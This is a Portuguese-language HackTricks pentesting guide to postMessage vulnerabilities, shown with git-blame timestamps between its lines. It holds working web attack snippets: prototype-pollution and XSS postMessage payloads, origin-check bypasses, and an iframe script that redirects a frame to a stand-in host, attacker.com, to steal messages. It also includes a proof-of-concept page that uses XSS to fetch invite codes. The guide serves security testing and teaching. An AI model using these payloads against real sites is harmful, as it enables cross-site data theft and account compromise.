hacktricks/pentesting-web/postmessage-vulnerabilities/README.md

210 lines
14 KiB
Markdown
Raw Normal View History

2023-06-06 18:56:34 +00:00
# Vulnerabilidades do PostMessage
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
## Vulnerabilidades do PostMessage
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
2023-06-06 18:56:34 +00:00
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
2023-06-06 18:56:34 +00:00
## Enviar **PostMessage**
2021-01-07 12:57:52 +00:00
2023-06-06 18:56:34 +00:00
O **PostMessage** usa a seguinte função para enviar uma mensagem:
2021-10-04 21:42:12 +00:00
```bash
2021-01-07 12:57:52 +00:00
targetWindow.postMessage(message, targetOrigin, [transfer]);
2021-10-04 21:42:12 +00:00
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
2021-10-04 21:42:12 +00:00
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
2022-08-02 16:08:10 +00:00
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
2021-10-04 21:42:12 +00:00
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
2022-08-02 16:08:10 +00:00
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
2021-01-07 12:57:52 +00:00
```
2023-06-06 18:56:34 +00:00
Observe que **targetOrigin** pode ser um '\*' ou uma URL como _https://company.com._\
No **segundo cenário**, a **mensagem só pode ser enviada para esse domínio** (mesmo que a origem do objeto da janela seja diferente).\
2023-06-06 18:56:34 +00:00
Se o **curinga** for usado, **mensagens podem ser enviadas para qualquer domínio**, e serão enviadas para a origem do objeto da janela.
2021-01-07 12:57:52 +00:00
2023-06-06 18:56:34 +00:00
### Atacando iframe e curinga em **targetOrigin**
2021-01-07 12:57:52 +00:00
2023-06-06 18:56:34 +00:00
Conforme explicado neste [**relatório**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), se você encontrar uma página que possa ser **inserida em um iframe** (sem proteção `X-Frame-Header`) e que esteja **enviando mensagens sensíveis** via **postMessage** usando um **curinga** (\*), você pode **modificar** a **origem** do **iframe** e **vazar** a **mensagem sensível** para um domínio controlado por você.\
Observe que se a página puder ser inserida em um iframe, mas o **targetOrigin** estiver **definido como uma URL e não como um curinga**, esse **truque não funcionará**.
2021-01-07 12:57:52 +00:00
```markup
<html>
2021-10-04 21:42:12 +00:00
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
2021-01-07 12:57:52 +00:00
```
2023-06-06 18:56:34 +00:00
## Exploração do addEventListener
2021-01-07 12:57:52 +00:00
2023-06-06 18:56:34 +00:00
**`addEventListener`** é a função usada pelo JS para declarar a função que está **esperando `postMessages`**.\
Um código semelhante ao seguinte será usado:
2021-01-07 12:57:52 +00:00
```javascript
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
```
2023-06-06 18:56:34 +00:00
Observe neste caso como a **primeira coisa** que o código faz é **verificar a origem**. Isso é terrivelmente **importante**, principalmente se a página for fazer **qualquer coisa sensível** com as informações recebidas (como alterar uma senha). **Se não verificar a origem, os atacantes podem fazer as vítimas enviarem dados arbitrários para esses endpoints** e alterar as senhas das vítimas (neste exemplo).
2021-01-07 12:57:52 +00:00
2023-06-06 18:56:34 +00:00
### Enumeração
2023-06-06 18:56:34 +00:00
Para **encontrar ouvintes de eventos** na página atual, você pode:
* **Procurar** o código JS por `window.addEventListener` e `$(window).on` (_versão JQuery_)
2023-06-06 18:56:34 +00:00
* **Executar** no console das ferramentas do desenvolvedor: `getEventListeners(window)`
![](<../../.gitbook/assets/image (618) (1) (1).png>)
2020-12-17 13:13:28 +00:00
2023-06-06 18:56:34 +00:00
* **Ir para** _Elementos --> Ouvintes de eventos_ nas ferramentas do desenvolvedor do navegador
2022-10-13 00:56:34 +00:00
![](<../../.gitbook/assets/image (617).png>)
2023-06-06 18:56:34 +00:00
* Usar uma **extensão do navegador** como [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ou [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Essas extensões do navegador irão **interceptar todas as mensagens** e mostrá-las para você.
2023-06-06 18:56:34 +00:00
### Bypasses básicos de verificação de origem
2020-12-17 13:13:28 +00:00
* Se **`indexOf()`** é usado para **verificar** a **origem** do evento PostMessage, lembre-se de que ele pode ser facilmente contornado como no exemplo a seguir: `("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")`\\
2023-06-06 18:56:34 +00:00
* Se **`search()`** é usado para **validar** a **origem**, pode ser inseguro. De acordo com a documentação de `String.prototype.search()`, o método **recebe um objeto de expressão regular** em vez de uma string. Se algo diferente de uma expressão regular for passado, ele será convertido implicitamente em uma expressão regular.\
Na expressão regular, **um ponto (.) é tratado como um caractere curinga**. Um atacante pode tirar proveito disso e **usar** um **domínio especial** em vez do oficial para contornar a validação, como em: `"https://www.safedomain.com".search("www.s.fedomain.com")`.\\
* Se a função **`escapeHtml`** é usada, a função não cria um objeto escapado `new`, em vez disso, ela **sobrescreve propriedades** do objeto existente. Isso significa que, se pudermos criar um objeto com uma propriedade controlada que não responda a `hasOwnProperty`, ela não será escapada.
2020-12-17 13:13:28 +00:00
```javascript
// Expected to fail:
result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
```
2023-06-06 18:56:34 +00:00
O objeto `File` é perfeito para este exploit, pois ele tem uma propriedade somente leitura `name` que é usada pelo nosso modelo e irá contornar a função `escapeHtml`.
2020-12-17 13:13:28 +00:00
2023-06-06 18:56:34 +00:00
### Contornando e.origin == window.origin
2022-10-13 00:56:34 +00:00
2023-06-06 18:56:34 +00:00
Quando uma página é incorporada em um **iframe com sandbox** via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`, a **origem** desse **iframe** será **`null`**.
2022-10-13 00:56:34 +00:00
Quando o valor do **sandbox `allow-popups` é definido**, então a **popup aberta** irá **herdar** todos os **atributos sandbox** a menos que `allow-popups-to-escape-sandbox` seja definido.\
2023-06-06 18:56:34 +00:00
Portanto, abrir uma **popup** a partir de uma **origem nula** fará com que **`window.origin`** dentro da popup também seja **`null`**.
2022-10-13 00:56:34 +00:00
2023-06-06 18:56:34 +00:00
Portanto, se você abrir um **iframe com sandbox** permitindo popups e, em seguida, **abrir uma popup** de dentro do iframe e **enviar uma postMessage** do iframe **para a popup**, ambas as origens são nulas, então: **`e.origin == window.origin == null`**
2022-10-13 00:56:34 +00:00
2023-06-06 18:56:34 +00:00
Para mais informações, **leia**:
2022-10-13 00:56:34 +00:00
{% content-ref url="bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
{% endcontent-ref %}
2023-06-06 18:56:34 +00:00
### Contornando e.source
2022-10-13 00:56:34 +00:00
2023-06-06 18:56:34 +00:00
Você pode forçar o **`e.source`** de uma mensagem a ser nulo criando um **iframe** que **envia** a **postMessage** e é **imediatamente excluído**.
2022-10-13 00:56:34 +00:00
2023-06-06 18:56:34 +00:00
Para mais informações, **leia:**
2022-10-13 00:56:34 +00:00
{% content-ref url="bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md)
{% endcontent-ref %}
2023-06-06 18:56:34 +00:00
### Contornando o cabeçalho X-Frame
2023-06-06 18:56:34 +00:00
Para realizar esses ataques, idealmente você será capaz de **colocar a página da vítima** dentro de um `iframe`. Mas alguns cabeçalhos como `X-Frame-Header` podem **impedir** esse **comportamento**.\
Nesses cenários, você ainda pode usar um ataque menos furtivo. Você pode abrir uma nova guia para a aplicação web vulnerável e se comunicar com ela:
```markup
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
2023-06-06 18:56:34 +00:00
### Roubo de mensagem enviada para filho bloqueando a página principal
2023-06-06 18:56:34 +00:00
Na página a seguir, você pode ver como pode roubar dados **sensíveis de postmessage** enviados para um **iframe filho** **bloqueando** a página **principal** antes de enviar os dados e abusando de um **XSS no filho** para **vazar os dados** antes que sejam recebidos:
2022-10-13 00:56:34 +00:00
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
{% endcontent-ref %}
2023-06-06 18:56:34 +00:00
### Roubo de mensagem modificando a localização do iframe
2022-10-13 00:56:34 +00:00
2023-06-06 18:56:34 +00:00
Se você pode criar um iframe de uma página sem o cabeçalho X-Frame, que contém outro iframe, você pode **alterar a localização do iframe filho**, então, se ele estiver recebendo um **postmessage** enviado usando um **curinga**, um invasor poderia **alterar** a **origem** desse iframe para uma página **controlada** por ele e **roubar** a mensagem:
2022-10-13 00:56:34 +00:00
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %}
2023-06-06 18:56:34 +00:00
### postMessage para Prototype Pollution e/ou XSS
2023-06-06 18:56:34 +00:00
Em cenários em que os dados enviados por meio de `postMessage` são executados por JS, você pode **criar um iframe** na **página** e **explorar** a **poluição de protótipo/XSS** enviando a exploração via `postMessage`.
2021-10-04 22:23:21 +00:00
2023-06-06 18:56:34 +00:00
Alguns **XSS muito bem explicados por meio de `postMessage`** podem ser encontrados em [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
2023-06-06 18:56:34 +00:00
Exemplo de uma exploração para abusar da **poluição de protótipo e depois XSS** por meio de um `postMessage` para um `iframe`:
```markup
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
```
2023-06-06 18:56:34 +00:00
Para **mais informações**:
2023-06-06 18:56:34 +00:00
* Link para a página sobre [**poluição de protótipo**](../deserialization/nodejs-proto-prototype-pollution/)
* Link para a página sobre [**XSS**](../xss-cross-site-scripting/)
* Link para a página sobre [**poluição de protótipo do lado do cliente para XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
2021-03-23 22:23:10 +00:00
2023-06-06 18:56:34 +00:00
## Referências
2021-03-23 22:23:10 +00:00
2021-10-22 10:16:40 +00:00
* [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
2023-06-06 18:56:34 +00:00
* Para praticar: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
2023-06-06 18:56:34 +00:00
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>